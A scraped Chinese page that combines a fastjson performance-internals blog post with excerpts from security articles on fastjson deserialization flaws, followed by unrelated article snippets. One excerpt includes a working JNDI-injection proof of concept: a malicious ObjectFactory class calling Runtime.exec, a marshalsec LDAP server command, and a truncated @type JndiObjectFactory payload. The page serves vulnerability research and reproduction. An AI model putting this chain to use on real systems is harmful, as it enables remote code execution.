JSON最佳实践 | kimmking's blog http://kimmking.github.io/2017/06/06/json-best-practice/

JSON协议使用方便,越来越流行。JSON的处理器有很多,为什么需要再写一个呢?因为我们需要一个性能很好的JSON Parser,希望JSON Parser的性能有二进制协议一样好,比如和protobuf一样,这可不容易,但确实做到了。有人认为这从原理上就是不可能的,但是计算机乃实践科学,看实际的结果比原理推导更重要。 

这篇文章告诉大家: 
* Fastjson究竟有多快 
* 为什么Fastjson这么快 
* 你能用Fastjson来做什么! 
* 如何获得fastjson? 

首先,Fastjson究竟有多快? 
我们看一下使用https://github.com/eishay/jvm-serializers/提供的程序进行测试得到的结果:

  序列化时间 反序列化时间 大小 压缩后大小
java序列化 8654 43787 889 541
hessian 6725 10460 501 313
protobuf 2964 1745 239 149
thrift 3177 1949 349 197
avro 3520 1948 221 133
json-lib 45788 149741 485 263
jackson 3052 4161 503 271
fastjson 2595 1472 468 251

这是一个468bytes的JSON Bytes测试,从测试结果来看,无论序列化和反序列化,Fastjson超越了protobuf,可以当之无愧fast! 它比java deserialize快超过30多倍,比json-lib快100倍。由于Fastjson的存在,你可以放心使用json统一协议,达到文本协议的可维护性,二进制协议的性能。 

JSON处理主要包括两个部分,serialize和deserialize。serialize就是把Java对象变成JSON String或者JSON Bytes。Deserialize是把JSON String或者Json Bytes变成java对象。其实这个过程有些JSON库是分三部分的,json string <--> json tree <--> java object。Fastjson也支持这种转换方式,但是这种转换方式因为有多余的步骤,性能不好,不推荐使用。 

为什么Fastjson能够做到这么快? 
一、Fastjson中Serialzie的优化实现 
1、自行编写类似StringBuilder的工具类SerializeWriter。 
把java对象序列化成json文本,是不可能使用字符串直接拼接的,因为这样性能很差。比字符串拼接更好的办法是使用java.lang.StringBuilder。StringBuilder虽然速度很好了,但还能够进一步提升性能的,fastjson中提供了一个类似StringBuilder的类com.alibaba.fastjson.serializer.SerializeWriter。 

SerializeWriter提供一些针对性的方法减少数组越界检查。例如public void writeIntAndChar(int i, char c) {},这样的方法一次性把两个值写到buf中去,能够减少一次越界检查。目前SerializeWriter还有一些关键的方法能够减少越界检查的,我还没实现。也就是说,如果实现了,能够进一步提升serialize的性能。 

2、使用ThreadLocal来缓存buf。 
这个办法能够减少对象分配和gc,从而提升性能。SerializeWriter中包含了一个char[] buf,每序列化一次,都要做一次分配,使用ThreadLocal优化,能够提升性能。 

3、使用asm避免反射 
获取java bean的属性值,需要调用反射,fastjson引入了asm的来避免反射导致的开销。fastjson内置的asm是基于objectweb asm 3.3.1改造的,只保留必要的部分,fastjson asm部分不到1000行代码,引入了asm的同时不导致大小变大太多。 

使用一个特殊的IdentityHashMap优化性能。 
fastjson对每种类型使用一种serializer,于是就存在class -> JavaBeanSerizlier的映射。fastjson使用IdentityHashMap而不是HashMap,避免equals操作。我们知道HashMap的算法的transfer操作,并发时可能导致死循环,但是ConcurrentHashMap比HashMap系列会慢,因为其使用volatile和lock。fastjson自己实现了一个特别的IdentityHashMap,去掉transfer操作的IdentityHashMap,能够在并发时工作,但是不会导致死循环。 

5、缺省启用sort field输出 
json的object是一种key/value结构,正常的hashmap是无序的,fastjson缺省是排序输出的,这是为deserialize优化做准备。 

6、集成jdk实现的一些优化算法 
在优化fastjson的过程中,参考了jdk内部实现的算法,比如int to char[]算法等等。 

二、fastjson的deserializer的主要优化算法 
deserializer也称为parser或者decoder,fastjson在这方面投入的优化精力最多。 
1、读取token基于预测。 
所有的parser基本上都需要做词法处理,json也不例外。fastjson词法处理的时候,使用了基于预测的优化算法。比如key之后,最大的可能是冒号":",value之后,可能是有两个,逗号","或者右括号"}"。在com.alibaba.fastjson.parser.JSONScanner中提供了这样的方法:

  1. public void nextToken(int expect) {
  2. for (;;) {
  3. switch (expect) {
  4. case JSONToken.COMMA: //
  5. if (ch == ',') {
  6. token = JSONToken.COMMA;
  7. ch = buf[++bp];
  8. return;
  9. }
  10. if (ch == '}') {
  11. token = JSONToken.RBRACE;
  12. ch = buf[++bp];
  13. return;
  14. }
  15. if (ch == ']') {
  16. token = JSONToken.RBRACKET;
  17. ch = buf[++bp];
  18. return;
  19. }
  20. if (ch == EOI) {
  21. token = JSONToken.EOF;
  22. return;
  23. }
  24. break;
  25. // ... ...
  26. }
  27. }

从上面摘抄下来的代码看,基于预测能够做更少的处理就能够读取到token。 

2、sort field fast match算法 
fastjson的serialize是按照key的顺序进行的,于是fastjson做deserializer时候,采用一种优化算法,就是假设key/value的内容是有序的,读取的时候只需要做key的匹配,而不需要把key从输入中读取出来。通过这个优化,使得fastjson在处理json文本的时候,少读取超过50%的token,这个是一个十分关键的优化算法。基于这个算法,使用asm实现,性能提升十分明显,超过300%的性能提升。

  1. { "id" : 123, "name" : "魏加流", "salary" : 56789.79}
  2. ------      --------          ----------

在上面例子看,虚线标注的三个部分是key,如果key_id、key_name、key_salary这三个key是顺序的,就可以做优化处理,这三个key不需要被读取出来,只需要比较就可以了。 

这种算法分两种模式,一种是快速模式,一种是常规模式。快速模式是假定key是顺序的,能快速处理,如果发现不能够快速处理,则退回常规模式。保证性能的同时,不会影响功能。 

在这个例子中,常规模式需要处理13个token,快速模式只需要处理6个token。 

实现sort field fast match算法的代码在这个类[com.alibaba.fastjson.parser.deserializer.ASMDeserializerFactory|http://code.alibabatech.com/svn/fastjson/trunk/fastjson/src/main/java/com/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory.java],是使用asm针对每种类型的VO动态创建一个类实现的。 
这里是有一个用于演示sort field fast match算法的代码: 
http://code.alibabatech.com/svn/fastjson/trunk/fastjson/src/test/java/data/media/ImageDeserializer.java

  1. // 用于快速匹配的每个字段的前缀
  2. char[] size_   = "\"size\":".toCharArray();
  3. char[] uri_    = "\"uri\":".toCharArray();
  4. char[] titile_ = "\"title\":".toCharArray();
  5. char[] width_  = "\"width\":".toCharArray();
  6. char[] height_ = "\"height\":".toCharArray();
  7. // 保存parse开始时的lexer状态信息
  8. int mark = lexer.getBufferPosition();
  9. char mark_ch = lexer.getCurrent();
  10. int mark_token = lexer.token();
  11. int height = lexer.scanFieldInt(height_);
  12. if (lexer.matchStat == JSONScanner.NOT_MATCH) {
  13. // 退出快速模式, 进入常规模式
  14. lexer.reset(mark, mark_ch, mark_token);
  15. return (T) super.deserialze(parser, clazz);
  16. }
  17. String value = lexer.scanFieldString(size_);
  18. if (lexer.matchStat == JSONScanner.NOT_MATCH) {
  19. // 退出快速模式, 进入常规模式
  20. lexer.reset(mark, mark_ch, mark_token);
  21. return (T) super.deserialze(parser, clazz);
  22. }
  23. Size size = Size.valueOf(value);
  24. // ... ...
  25. // batch set
  26. Image image = new Image();
  27. image.setSize(size);
  28. image.setUri(uri);
  29. image.setTitle(title);
  30. image.setWidth(width);
  31. image.setHeight(height);
  32. return (T) image;

3、使用asm避免反射 
deserialize的时候,会使用asm来构造对象,并且做batch set,也就是说合并连续调用多个setter方法,而不是分散调用,这个能够提升性能。 

4、对utf-8的json bytes,针对性使用优化的版本来转换编码。 
这个类是com.alibaba.fastjson.util.UTF8Decoder,来源于JDK中的UTF8Decoder,但是它使用ThreadLocal Cache Buffer,避免转换时分配char[]的开销。 
ThreadLocal Cache的实现是这个类com.alibaba.fastjson.util.ThreadLocalCache。第一次1k,如果不够,会增长,最多增长到128k。

  1. //代码摘抄自com.alibaba.fastjson.JSON
  2. public static final <T> T parseObject(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Type clazz,
  3. Feature... features) {
  4. charsetDecoder.reset();
  5. int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
  6. char[] chars = ThreadLocalCache.getChars(scaleLength); // 使用ThreadLocalCache,避免频繁分配内存
  7. ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
  8. CharBuffer charByte = CharBuffer.wrap(chars);
  9. IOUtils.decode(charsetDecoder, byteBuf, charByte);
  10. int position = charByte.position();
  11. return (T) parseObject(chars, position, clazz, features);
  12. }

6、symbolTable算法。 
我们看xml或者javac的parser实现,经常会看到有一个这样的东西symbol table,它就是把一些经常使用的关键字缓存起来,在遍历char[]的时候,同时把hash计算好,通过这个hash值在hashtable中来获取缓存好的symbol,避免创建新的字符串对象。这种优化在fastjson里面用在key的读取,以及enum value的读取。这是也是parse性能优化的关键算法之一。 

以下是摘抄自JSONScanner类中的代码,这段代码用于读取类型为enum的value。

  1. int hash = 0;
  2. for (;;) {
  3. ch = buf[index++];
  4. if (ch == '\"') {
  5. bp = index;
  6. this.ch = ch = buf[bp];
  7. strVal = symbolTable.addSymbol(buf, start, index - start - 1, hash); // 通过symbolTable来获得缓存好的symbol,包括fieldName、enumValue
  8. break;
  9. }
  10. hash = 31 * hash + ch; // 在token scan的过程中计算好hash
  11. // ... ...
  12. }

我们能用fastjson来作什么? 
1、替换其他所有的json库,java世界里没有其他的json库能够和fastjson可相比了。 
2、使用fastjson的序列化和反序列化替换java serialize,java serialize不单性能慢,而且体制大。 
3、使用fastjson替换hessian,json协议和hessian协议大小差不多一样,而且fastjson性能优越,10倍于hessian 
4、把fastjson用于memached缓存对象数据。 

如何获得fastjson 
h3. 官方网站 
Fastjson是开源的,基于Apache 2.0协议。你可以在官方网站了解最新信息。 
http://code.alibabatech.com/wiki/display/FastJSON/Home 

maven用户 
* Maven仓库 http://code.alibabatech.com/mvn/releases/ 
{code} 
<dependency> 
     <groupId>com.alibaba</groupId> 
     <artifactId>fastjson</artifactId> 
     <version>1.1.2</version> 
</dependency> 
{code} 

 
 
 
https://mp.weixin.qq.com/s/O90M916ksZ_Jld9qtr9_-A

fastjson反序列化漏洞最新gadget-shiro-core

原创 帅气的Jumbo 中国白客联盟 2020-03-14

首先,这个漏洞需要开启autotype,属于黑名单的绕过。

fastjson反序列化漏洞具体原理就不多说了,可以简单理解为可以设置type调用任意类,并为其设置属性值。

看到360cert文章提到jackson-databind多了个新的黑名单,在shiro-core包中,但是poc打码了,因此我们来简单复现下。

我们利用maven下载fastjson最新版1.2.66和shiro-core

        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.66</version>        </dependency>
        <dependency>            <groupId>org.apache.shiro</groupId>            <artifactId>shiro-core</artifactId>            <version>1.5.1</version>        </dependency>

然后我们在shiro-core包中寻找可能触发jndi注入的地方,一般咱们寻找lookup

找到JndiObjectFactory

尝试构造poc。

借助JNDI-Exploit-Bypass-Demo先写个简单的恶意类:

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.*;import java.util.Hashtable;
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { try { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } return null; }}

marshalsec开启监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#Exploit

把生成的Exploit.class放在8090端口下的web目录。

poc:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127

 
 
 https://mp.weixin.qq.com/s/ctcFje4gxjHQnUUExY1eUw

威胁研究 | Fastjson 最新反序列化漏洞复现与防御指南

Fortinet D-Team Fortinet防特网 2020-07-31

FastJson漏洞原理

通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。

那么,如何才能够反序列化出恶意类呢?

例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。

接着,如何才能触发反序列化得到的恶意类中的恶意函数呢?

在某些情况下进行反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在。换句话说,就是攻击者传入要进行反序列化的类中的构造函数、getter方法、setter方法中要存在漏洞才能触发。

漏洞原理总结

    • 若反序列化指定类型的类如“Student obj = JSON.parseObject(text, Student.class);”,该类本身的构造函数、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞;

    • 若反序列化未指定类型的类如“Object obj = JSON.parseObject(text, Object.class);”,该若该类的子类的构造方法、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞。

 
 
 
 
 
 
 
 
 
 

fastjson的deserializer的主要优化算法 漏洞的更多相关文章

  1. fastjson的deserializer的主要优化算法

    JSON最佳实践 | kimmking's blog http://kimmking.github.io/2017/06/06/json-best-practice/ Fastjson内幕 Java综 ...

  2. [Algorithm] 群体智能优化算法之粒子群优化算法

    同进化算法(见博客<[Evolutionary Algorithm] 进化算法简介>,进化算法是受生物进化机制启发而产生的一系列算法)和人工神经网络算法(Neural Networks,简 ...

  3. 基于网格的分割线优化算法(Level Set)

    本文介绍一种网格分割线的优化算法,该方法能够找到网格上更精确.更光滑的分割位置,并且分割线能够自由地合并和分裂,下面介绍算法的具体原理和过程. 曲面上的曲线可以由水平集(level set)形式表示, ...

  4. paper 8:支持向量机系列五:Numerical Optimization —— 简要介绍求解求解 SVM 的数值优化算法。

    作为支持向量机系列的基本篇的最后一篇文章,我在这里打算简单地介绍一下用于优化 dual 问题的 Sequential Minimal Optimization (SMO) 方法.确确实实只是简单介绍一 ...

  5. MOPSO 多目标例子群优化算法

    近年来,基于启发式的多目标优化技术得到了很大的发展,研究表明该技术比经典方法更实用和高效.有代表性的多目标优化算法主要有NSGA.NSGA-II.SPEA.SPEA2.PAES和PESA等.粒子群优化 ...

  6. SMO优化算法(Sequential minimal optimization)

    原文:http://www.cnblogs.com/jerrylead/archive/2011/03/18/1988419.html SMO算法由Microsoft Research的John C. ...

  7. 优化算法-BFGS

    优化算法-BFGS BGFS是一种准牛顿算法, 所谓的"准"是指牛顿算法会使用Hessian矩阵来进行优化, 但是直接计算Hessian矩阵比较麻烦, 所以很多算法会使用近似的He ...

  8. NYOJ-63 小猴子下落(二叉树及优化算法详解)

      小猴子下落 时间限制:3000 ms  |  内存限制:65535 KB 难度:3   描述 有一颗二叉树,最大深度为D,且所有叶子的深度都相同.所有结点从左到右从上到下的编号为1,2,3,··· ...

  9. DeepLearning.ai学习笔记(二)改善深层神经网络:超参数调试、正则化以及优化--Week2优化算法

    1. Mini-batch梯度下降法 介绍 假设我们的数据量非常多,达到了500万以上,那么此时如果按照传统的梯度下降算法,那么训练模型所花费的时间将非常巨大,所以我们对数据做如下处理: 如图所示,我 ...

随机推荐

  1. 从最长公共子序列问题理解动态规划算法(DP)

    一.动态规划(Dynamic Programming) 动态规划方法通常用于求解最优化问题.我们希望找到一个解使其取得最优值,而不是所有最优解,可能有多个解都达到最优值. 二.什么问题适合DP解法 如 ...

  2. 高性能、低成本的高防 IP 产品能现实吗?

    DDoS 攻击是网络攻击最常用的方式之一,也是企业发展道路上的阻碍.作为业务发展的巨大隐形"地雷",企业想要自建 DDoS 防御的技术门槛很高,且建设周期不可控.这给予了安全厂商海 ...

  3. Redis集群搭建采坑总结

    背景 先澄清一下,整个过程问题都不是我解决的,我在里面就是起了个打酱油的角色.因为实际上我负责这个项目,整个过程也比较清楚.之前也跟具体负责的同事说过,等过段时间带他做做项目复盘.结果一直忙,之前做的 ...

  4. 将WCF迁移到gRPC

    使用protobuf-net.Grpc将WCF服务迁移到gRPC非常简单.在这篇博文中,我们将看看它到底有多简单.微软关于将WCF服务迁移到gRPC的官方指南只提到了Gooogle.Protobuf方 ...

  5. Sqoop(四)增量导入、全量导入、减量导入

    增量导入 一.说明 当在生产环境中,我们可能会定期从与业务相关的关系型数据库向Hadoop导入数据,导入数仓后进行后续离线分析.这种情况下我们不可能将所有数据重新再导入一遍,所以此时需要数据增量导入. ...

  6. spark使用idea向yarn提交报错:Exception in thread "main" java.lang.NoClassDefFoundError: com/sun/jersey/api/client/config/ClientConfig

    解决方法: 找到1.19版本放到spark的jars目录下

  7. NOIP初赛篇——08计算机安全知识

    引言 ​ 计算机安全中最重要的是存储数据的安全,其面临的主要威胁包括:计算机病毒.非法访问.计算机电磁辐射.硬件损坏等. ​ 计算机病毒是附在计算机软件中的隐蔽小程序,它和计算机其他工作程序一样,但会 ...

  8. ORA-28001: the password has expired解决方法

    Oracle提示错误消息ORA-28001: the password has expired,是由于Oracle11G的新特性所致, Oracle11G创建用户时缺省密码过期限制是180天(即6个月 ...

  9. HBase 底层原理详解(深度好文,建议收藏)

    HBase简介 HBase 是一个分布式的.面向列的开源数据库.建立在 HDFS 之上.Hbase的名字的来源是 Hadoop database,即 Hadoop 数据库.HBase 的计算和存储能力 ...

  10. Linux 用户操作之用户管理 (用户增删改操作)

    目录 添加用户 删除用户 修改用户 切换用户 配置用户密码 查看配置文件 cat /etc/pwsswd 添加用户 可选项 -c comment 指定一段注释性描述. -d 目录 指定用户主目录,如果 ...